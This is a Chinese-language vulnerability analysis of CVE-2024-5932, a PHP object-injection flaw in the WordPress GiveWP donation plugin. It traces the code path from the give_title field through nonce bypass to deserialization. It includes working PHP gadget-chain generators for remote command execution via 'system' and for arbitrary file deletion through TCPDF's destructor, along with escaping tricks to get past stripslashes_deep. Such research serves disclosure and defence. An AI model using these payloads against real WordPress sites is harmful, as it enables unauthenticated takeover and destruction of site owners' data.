漏洞描述:
Wrodpress的GiveWP插件在3.14.1以及之前的版本中存在反序列化漏洞,通过post不安全的give_title数据,易导致php对象注入,再结合环境中存在的pop链进行远程代码执行和任意文件删除。
漏洞分析
这一部分参考了https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/ 和 https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/ 并将 https://github.com/EQSTLab/CVE-2024-5932?tab=readme-ov-file 中的exp进行了一点改动,从而不需要手动去输入donation form的url地址,也便于调试。
1.通过give_title注入php对象
通过poc定位到wp-content/plugins/give/includes/process-donation.php:29 的give_process_donation_form()入口,首先会调用give_verify_donation_form_nonce()去校验:
跟进到wp-includes/pluggable.php:2313 的wp_verify_nonce()中看到会用wp_hash()对参数去生成$expected,再用$expected与传入的give-form-hash进行比较:
这里就要考虑如何获取give-form-id和give-form-hash,在wp-content/plugins/give/includes/ajax-functions.php中give_ajax_form_search()可以获取到donation form:
在wp-content/plugins/give/includes/gateways/actions.php中give_donation_form_nonce()可以根据传入的give_form_id去生成对应的give-form-hash
这样绕过give_verify_donation_form_nonce()验证,在一开始提到的exp中,也不用自己去判断donation form的url了
之后,通过give-title传入的数据会写入$user_info中,又将$user_info写入到了$donation_data中:
(这里实际上还需要绕过stripslashes_deep(),这个放到后面再说吧)
接着调用give_send_to_gateway()处理$donation_data:
预处理
将数据写入到数据库中:
最后进入$donation->save()中:
从这里save()函数一直跟进,发现接着调用发送邮件的逻辑,这里猜想大概的业务功能为当donor进行捐赠后,会将捐赠信息和donor的相关信息写入数据库中,然后在邮件发送时将对应donor的数据取出
在wp-content/plugins/give/includes/admin/emails/abstract-email-notification.php中send_email_notification()
(这里应该是具体子类调用)
接着跟进到give_do_email_tags()中:
一路跟进到wp-content/plugins/give/includes/emails/class-give-email-tags.php中give_email_tag_first_name()
这里漏洞触发的两个关键函数,give_get_payment_meta_user_info和give_get_email_names,
give_get_payment_meta_user_info中通过Give()->donor_meta->get_meta( $donor_id, '_give_donor_title_prefix', true ); 获取了之前写入到数据库中title并反序列化:
give_get_email_names中便传入刚刚反序列化的数据,在give_get_donor_name_with_title_prefixes调用:
这里即可调用对象的__toString方法,至此对象注入完毕。
2.toString pop链
远程命令执行
参考下图:
但是这里是没完,$res这个参数还是需要再进行构造,
$res = call_user_func_array([$this->generator, $name], $arguments);执行到这时,$arguments是address1 $name为get,从而需要找到某个类的get方法返回值可以控制,
(调用不存在的address1属性从而执行__get()方法)
(SettingsRepository中的get方法,修改$this->settings["address1"]即可)
poc:
<?php
namespace Stripe{
/**
* Class StripeObject.
*/
class StripeObject
{
public $_values;
public function __construct($o)
{
$this->_values["test"] = $o;
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{use Give\Donations\Properties\BillingAddress;
/**
* Class GiveInsertPaymentData
*
* This is used to expose data for use with give_insert_payment
*
* @since 2.18.0
*/
final class GiveInsertPaymentData
{
public $userInfo;
public function __construct($o)
{
$this->userInfo["address"] = $o;
}
}}
namespace Give\Vendors\Faker{
use Give\Vendors\Faker\Extension\Extension;
/**
* Proxy for other generators, to return only valid values. Works with
* Faker\Generator\Base->valid()
*
* @mixin Generator
*/
class ValidGenerator
{
public $validator;
public $generator;
public $maxRetries;
public function __construct($o)
{
$this->validator = 'system';
$this->generator = $o;
$this->maxRetries = 1;
}
}
}
namespace Give\Onboarding{
use Give\Helpers\Gateways\Stripe;
/**
* @since 2.8.0
*/
class SettingsRepository
{
public $settings;
public function __construct()
{
$this->settings["address1"] = "calc";
}
}
}
namespace {
final class Give
{
public $container;
public function __construct($o)
{
$this->container = $o;
}
}
}
namespace {
$a = new \Stripe\StripeObject(new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData(new \Give(new \Give\Vendors\Faker\ValidGenerator(new \Give\Onboarding\SettingsRepository()))));
$a = serialize($a);
$output = str_replace('\\', '\\\\\\\\', $a);
echo $output;
}
任意文件删除
这里利用了wp-content/plugins/give/vendor/tecnickcom/tcpdf/tcpdf.php的TCPDF类,其__destruct()调用了
_destroy()导致unlink()删除任意文件:
poc:
<?php
class TCPDF
{
public $file_id;
public $imagekeys = array();
public function __construct()
{
$this->file_id = 123;
$this->imagekeys = ['file_you_want_to_delete'];
}
}
echo serialize(new TCPDF());
这里可能还需要用../或者..\进行路径穿越
3.几个坑点
首先是最后命令执行这里
需要赋值$this->maxRetries,不然无法进入call_user_func()
然后就是前面提到的stripslashes_deep()这个函数,跟进这个函数:
实际上在入口点也调用give_clean(),这个函数中也调用了stripslashes_deep()
所以在payload中,单个\会被替换为空,后面调试发现,整个过程中调用了三次stripslashes_deep()函数:
因此payload中需要传"\\\\"进行绕过。
参考
https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/
https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/
https://github.com/EQSTLab/CVE-2024-5932?tab=readme-ov-file